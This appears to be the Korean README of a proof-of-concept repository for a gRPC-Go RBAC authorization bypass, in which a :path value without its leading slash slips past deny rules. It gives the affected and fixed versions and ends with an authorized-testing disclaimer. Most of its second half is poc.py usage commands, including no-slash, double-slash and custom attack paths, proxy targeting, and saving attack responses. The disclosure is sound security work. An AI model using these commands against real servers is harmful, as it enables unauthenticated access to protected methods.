
gRPC-Go RBAC 권한 부여 정책 우회 (`:path` 슬래시 누락으로 인한) (인증 우회)
gRPC-Go RBAC 권한 부여 정책 우회 (:path 슬래시 누락으로 인한 인증 우회)
google.golang.org/grpc의 authz 패키지는 SDK 수준 RBAC 권한 부여를 구현하며, :path 유사 헤더에 대해 거부 및 허용 규칙을 매칭합니다. HTTP/2 서버 전송 계층은 클라이언트로부터 원시 :path 값을 /로 시작하는지 검증 없이 저장합니다. 라우팅 계층(handleStream)은 디스패치 전에 경로를 정규화하지만, RBAC 엔진은 grpc.Method(ctx)를 통해 컨텍스트에서 정규화되지 않은 값을 읽습니다.
거부 규칙은 /Service/Method(선행 슬래시 포함) 형식으로 작성됩니다. :path = "Service/Method"(슬래시 없음)를 보내면 거부 규칙이 첫 글자 비교에서 실패합니다. 기본 허용 규칙이 적용되어 보호된 메서드가 실행됩니다.
authz.NewStatic() 또는 authz.NewFileWatcher()를 사용하여 거부 규칙을 설정한 모든 gRPC 서버가 취약합니다. 원시 HTTP/2 클라이언트(Python h2, curl --http2 또는 사용자 정의 프레임 작성기)만 있으면 충분히 익스플로잇할 수 있으며, 자격 증명이나 사전 상태가 필요하지 않습니다.
grpc-go v1.71.0에 대한 실시간 검증에서, 선행 슬래시를 생략한 경우 거부 목록에 있는 AdminMethod에 대해 gRPC 상태 0(OK)이 반환된 반면, 표준 슬래시를 사용한 동일 호출은 상태 7(PermissionDenied)을 반환했습니다.
영향: google.golang.org/grpc < v1.79.3. v1.79.3에서 수정됨(PR #8981).
# Install the Python HTTP/2 dependency:
pip install h2
# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--service MyService --method SecretMethod
# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash
# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--path-mode double-slash --service MyService --method SecretMethod
# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
--attack-path '//MyService/SecretMethod'
# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt
--host는 --authority가 설정되지 않은 경우 HTTP/2 :authority 호스트를 제어합니다. --connect-host는 TCP 대상을 제어합니다. 이는 도달 가능한 IP가 라우팅된 백엔드 권한과 다른 가상 호스트 또는 리버스 프록시 설정에서 유용합니다.
표준 grpc-go 문제는 --path-mode no-slash입니다. double-slash와 custom은 프록시가 다른 형태의 비정상 경로를 취약한 백엔드로 전달하는 환경을 위한 일반적인 도우미입니다.
h2 (pip install h2)authz 패키지를 사용하여 거부 규칙을 설정한 gRPC-Go 서버| 파일 | 설명 |
|---|---|
poc.py | Python PoC -- 3개의 원시 HTTP/2 호출(기준/공격/제어)을 전송하여 우회를 입증 |
README.md | 취약점 세부 정보, 사용 예제 및 참고 자료 |
LICENSE | GPLv3 라이선스 |
이 프로젝트는 GNU GPLv3에 따라 배포됩니다.
방어적 보안 연구, 교육 및 승인된 테스트 목적으로 제공됩니다. 소유자의 명시적 허가 없이 이 코드를 시스템이나 서비스에 사용하지 마십시오.
허가되지 않은 사용은 관련 법률을 위반할 수 있습니다. 저자는 제3자 시스템을 테스트할 권한을 부여하지 않으며, 오용에 대해 책임을 지지 않습니다.
보증 및 책임 조건은 LICENSE 파일을 참조하십시오.